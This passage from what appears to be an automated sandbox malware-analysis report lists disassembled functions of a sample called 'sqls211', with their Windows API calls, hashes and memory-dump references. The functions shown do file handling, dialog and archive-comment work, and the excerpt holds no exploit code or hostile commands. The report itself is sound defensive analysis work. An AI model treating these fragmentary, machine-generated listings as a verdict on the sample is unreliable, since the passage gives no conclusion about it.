API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9e3452e7403f15d43d7ce7c3167173f3f19810501c363a2e55eb637d354a169c
Instruction ID: 688717c995739e6a5463b50fc0dcd8fbee6b4dc69c5b5ef4eb25c7cd541061a1
Opcode Fuzzy Hash: 9e3452e7403f15d43d7ce7c3167173f3f19810501c363a2e55eb637d354a169c
Instruction Fuzzy Hash: F7A001D66AD58ABC3148725A6E46C3B162DC4D6FA9370992FFA16CC6C1B8801C457872

Function 00CDE573 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE580

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 660f5bf91a88677a87905fe960a9c62afe201a4632cd29bb22dcd2654adcbec3
Instruction ID: 42add9c61b296add59a1348830954788e19fa5e51da7a8f458f030caa9ad4914
Opcode Fuzzy Hash: 660f5bf91a88677a87905fe960a9c62afe201a4632cd29bb22dcd2654adcbec3
Instruction Fuzzy Hash: 63A011C22A80883C3008B2A22E82C3B022CC8C0B2A330822FFA00C82C0B88008002832

Function 00CC9F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00CC903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00CC9F0C

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 213ecbf179ae96e554054b617548102978a48f65569dcbac4b993f0a496b7d29
Instruction ID: b71d1c34e2aa4a9568177139f87d60ad5b95fbd3556761eb7e23fef4d78663a9
Opcode Fuzzy Hash: 213ecbf179ae96e554054b617548102978a48f65569dcbac4b993f0a496b7d29
Instruction Fuzzy Hash: 46A0223008000E8BCE802B30CE0832C3B20FB20BC030002E8A00BCF0B2CF23880BCB22

Function 00CDAC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00CDAE72,C:\Users\user\Desktop,00000000,00D0946A,00000006), ref: 00CDAC08

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 3abf8698f24b160306dbfa8825a6738f30d59f68449f0b26a1f93a215c6d046a
Instruction ID: 7047a7c49c397a36f661c657ce57c610b61bf05168a7205450f4a010cefadb91
Opcode Fuzzy Hash: 3abf8698f24b160306dbfa8825a6738f30d59f68449f0b26a1f93a215c6d046a
Instruction Fuzzy Hash: 2EA01130200280AB82000B328F0AB0EBAAAAFA2B00F00C028A00088030CB30C820EA02

Function 00CC9620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00CC95D6,?,?,?,?,?,00CF2641,000000FF), ref: 00CC963B

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 38cb123a5dce571631a17392b854281b1b7c788a1d3932988227d428c2ac61fb
Instruction ID: 210fb91f7e8d684acc0e6d22dbfee8ce981e6e9a22c00fec4375d085a31e97ed
Opcode Fuzzy Hash: 38cb123a5dce571631a17392b854281b1b7c788a1d3932988227d428c2ac61fb
Instruction Fuzzy Hash: 5FF08270481B559FDB308A24C55CF92B7E8EB12321F045B5EE0F7429E0D771AA8DDA50

Non-executed Functions

Function 00CDC220 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CC1316: GetDlgItem.USER32(00000000,00003021), ref: 00CC135A
Part of subcall function 00CC1316: SetWindowTextW.USER32(00000000,00CF35F4), ref: 00CC1370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00CDC2B1
EndDialog.USER32(?,00000006), ref: 00CDC2C4
GetDlgItem.USER32(?,0000006C), ref: 00CDC2E0
SetFocus.USER32(00000000), ref: 00CDC2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00CDC321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00CDC358
FindFirstFileW.KERNEL32(?,?), ref: 00CDC36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00CDC38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00CDC39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00CDC3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00CDC3D4
_swprintf.LIBCMT ref: 00CDC404

Part of subcall function 00CC4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC40A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00CDC417
FindClose.KERNEL32(00000000), ref: 00CDC41E
_swprintf.LIBCMT ref: 00CDC477
SetDlgItemTextW.USER32(?,00000068,?), ref: 00CDC48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00CDC4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00CDC4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 00CDC4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00CDC4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00CDC509
_swprintf.LIBCMT ref: 00CDC535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00CDC548
_swprintf.LIBCMT ref: 00CDC59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00CDC5AF

Part of subcall function 00CDAF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00CDAF35
Part of subcall function 00CDAF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,00CFE72C,?,?), ref: 00CDAF84

Strings

%s %s, xrefs: 00CDC469, 00CDC58E
REPLACEFILEDLG, xrefs: 00CDC247
%s %s %s, xrefs: 00CDC3F2, 00CDC527

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 093e697d8b5164016319e11279baa81396c80c1cf3f953fce81c6f72e0ece437
Instruction ID: cd1ebc94a721000d9124942cb92c8d98a5a3b800f47e1a861e9cf47a160ac87d
Opcode Fuzzy Hash: 093e697d8b5164016319e11279baa81396c80c1cf3f953fce81c6f72e0ece437
Instruction Fuzzy Hash: 6391A172248349BBD2219BA0DC89FFB77ACEB5A700F04481AF749C2181DB75A605DB72

Function 00CC6FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC6FAA
_wcslen.LIBCMT ref: 00CC7013
_wcslen.LIBCMT ref: 00CC7084

Part of subcall function 00CC7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00CC7AAB
Part of subcall function 00CC7A9C: GetLastError.KERNEL32 ref: 00CC7AF1
Part of subcall function 00CC7A9C: CloseHandle.KERNEL32(?), ref: 00CC7B00

Part of subcall function 00CCA1E0: DeleteFileW.KERNELBASE(000000FF,?,?,00CC977F,?,?,00CC95CF,?,?,?,?,?,00CF2641,000000FF), ref: 00CCA1F1
Part of subcall function 00CCA1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00CC977F,?,?,00CC95CF,?,?,?,?,?,00CF2641), ref: 00CCA21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00CC7139
CloseHandle.KERNEL32(00000000), ref: 00CC7155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00CC7298

Part of subcall function 00CC9DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00CC73BC,?,?,?,00000000), ref: 00CC9DBC
Part of subcall function 00CC9DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00CC9E70

Part of subcall function 00CC9620: CloseHandle.KERNELBASE(000000FF,?,?,00CC95D6,?,?,?,?,?,00CF2641,000000FF), ref: 00CC963B

Part of subcall function 00CCA4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00CCA325,?,?,?,00CCA175,?,00000001,00000000,?,?), ref: 00CCA501
Part of subcall function 00CCA4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00CCA325,?,?,?,00CCA175,?,00000001,00000000,?,?), ref: 00CCA532

Strings

SeRestorePrivilege, xrefs: 00CC6FC2
UNC\, xrefs: 00CC7051
SeCreateSymbolicLinkPrivilege, xrefs: 00CC6FCC
\??\, xrefs: 00CC702B

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
Opcode ID: 02e0cdc03e4c0363db78849456b2500bfe74d8e347233974e3f66c8efda39bf1
Instruction ID: 95114e75acfa216c9d21595b95490e12a13a6a2cf4e48eda25aeede841d1bbb5
Opcode Fuzzy Hash: 02e0cdc03e4c0363db78849456b2500bfe74d8e347233974e3f66c8efda39bf1
Instruction Fuzzy Hash: FCC10771904644AADB21EB74CC45FFEB3A8EF04300F04465EFA5AE7282DB34AB44DB61

Function 00CED8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00CEDA34

Strings

1#SNAN, xrefs: 00CEEC33
1#INF, xrefs: 00CEEC41
1#QNAN, xrefs: 00CEEC3A
1#IND, xrefs: 00CEEC2C

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 8ecb00cc2a06c62ddf76a09111962d54c4e1ad8dd23598221aaf769c9253cd49
Instruction ID: d7b4d547dd0cb42a2ab54b640686fe24ef419c251bc29d0d9245466d2fbaa64b
Opcode Fuzzy Hash: 8ecb00cc2a06c62ddf76a09111962d54c4e1ad8dd23598221aaf769c9253cd49
Instruction Fuzzy Hash: B4C26C72E086688FDB25CF2ADD407EAB7B5EB44344F1541EAD45EE7280E774AE818F40

Function 00CC32F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC3300
_swprintf.LIBCMT ref: 00CC36C7

Strings

CMT, xrefs: 00CC3A17
hc%u, xrefs: 00CC370A
h%u, xrefs: 00CC36BC

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: 8aee816759c7e97a35f6b288c3751c52dc71966fe4707b871556770954766e9f
Instruction ID: b4e371493b3eaecfb67e080f6a341349a5700cbe6da2c8a11302c1ae45bad27d
Opcode Fuzzy Hash: 8aee816759c7e97a35f6b288c3751c52dc71966fe4707b871556770954766e9f
Instruction Fuzzy Hash: BD32C371510384ABDF18DF74C895FE93BA5AF15300F08447EFD9A8B282DB749A49DB60

Function 00CC286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC2874
_strlen.LIBCMT ref: 00CC2E3F

Part of subcall function 00CD02BA: __EH_prolog.LIBCMT ref: 00CD02BF

Part of subcall function 00CD1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00CCBAE9,00000000,?,?,?,00010424), ref: 00CD1BA0

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CC2F91

Strings

CMT, xrefs: 00CC2FBC

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: ca1932151c833f6bc537fc1cbd695a794207c30092c3c359978f2865b65e50c1
Instruction ID: 24fb1c7222b9835cfd24726184c91ee2a04b0024a47753a05fe04976cb6ef7d9
Opcode Fuzzy Hash: ca1932151c833f6bc537fc1cbd695a794207c30092c3c359978f2865b65e50c1
Instruction Fuzzy Hash: 9F6207715002858FDF19DF78C895FEA3BA1EF54300F08857EECAA8B282D7759A45DB60

Function 00CDF838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00CDF844
IsDebuggerPresent.KERNEL32 ref: 00CDF910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00CDF930
UnhandledExceptionFilter.KERNEL32(?), ref: 00CDF93A

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 7cf94cbc9fc8af74227aca1d3c7f7dbc9681c427b025e67e83f0adc2bd57c167
Instruction ID: 6fcebeddfc2d6d0ae72d75bc2219cba86a1bef691bc648703e298b4e918354f1
Opcode Fuzzy Hash: 7cf94cbc9fc8af74227aca1d3c7f7dbc9681c427b025e67e83f0adc2bd57c167
Instruction Fuzzy Hash: 9A310575D05219ABDB21DFA4D989BCCBBB8BF08304F1040AAE50DAB350EB719B85DF45

Function 00CDE6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00CDE5E8,0000001C,00CDE7DD,00000000,?,?,?,?,?,?,?,00CDE5E8,00000004,00D21CEC,00CDE86D), ref: 00CDE6B4
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00CDE5E8,00000004,00D21CEC,00CDE86D), ref: 00CDE6CF

Strings

D, xrefs: 00CDE6C3

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 94f96072df3cf765b2baa05dc1aa45b6768562f803a3e4a90b6aa93d91978387
Instruction ID: f26e6ca273113e2141d5a8a97f57c9286f3e72418a144a8afff28d1bdc046691
Opcode Fuzzy Hash: 94f96072df3cf765b2baa05dc1aa45b6768562f803a3e4a90b6aa93d91978387
Instruction Fuzzy Hash: AF01DB726001096BDF14EE29DC49BED7BBAEFC4324F0DC125EE69DB254D634DA05C690

Function 00CE8EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00CE8FB5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00CE8FBF
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00CE8FCC

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 9a1c2294b3477b2223522291cb83cf8fd01138f45bce202f26b2020d4e278448
Instruction ID: 118f242b147a4089c9d29f1e4edc54909f5b5d399a371ad9a92371d69eb81af4
Opcode Fuzzy Hash: 9a1c2294b3477b2223522291cb83cf8fd01138f45bce202f26b2020d4e278448
Instruction Fuzzy Hash: 1231C275901228ABCB21DF65DC89BDDBBB8BF08310F5041EAE41CA7250EB709F858F55

Function 00CEB348 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 00CEB4DB

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 0da8b73a3831edf556ca668c0779e1f84ff58a00c7fd6048c72f9a37c4d04a2d
Instruction ID: cff68884e002fb3dbcacaa3b5fa0b45133bf780ec306a264a233510e71d1a326
Opcode Fuzzy Hash: 0da8b73a3831edf556ca668c0779e1f84ff58a00c7fd6048c72f9a37c4d04a2d
Instruction Fuzzy Hash: 9731E9719002896FCB249E7ACC85EFB7BBDDF85314F1441A8F529D7292E7309E458B50

Function 00CED440 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction ID: 7c510de64841e7e59483e8ffbea6c7aa83138824b2018a20e7987abacc7ac298
Opcode Fuzzy Hash: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction Fuzzy Hash: 5F022D71E012199BDF14CFA9C8806ADB7F5FF48314F158269E92AE7384D731AE41CB90

Function 00CDAF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00CDAF35
GetNumberFormatW.KERNEL32(00000400,00000000,?,00CFE72C,?,?), ref: 00CDAF84

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
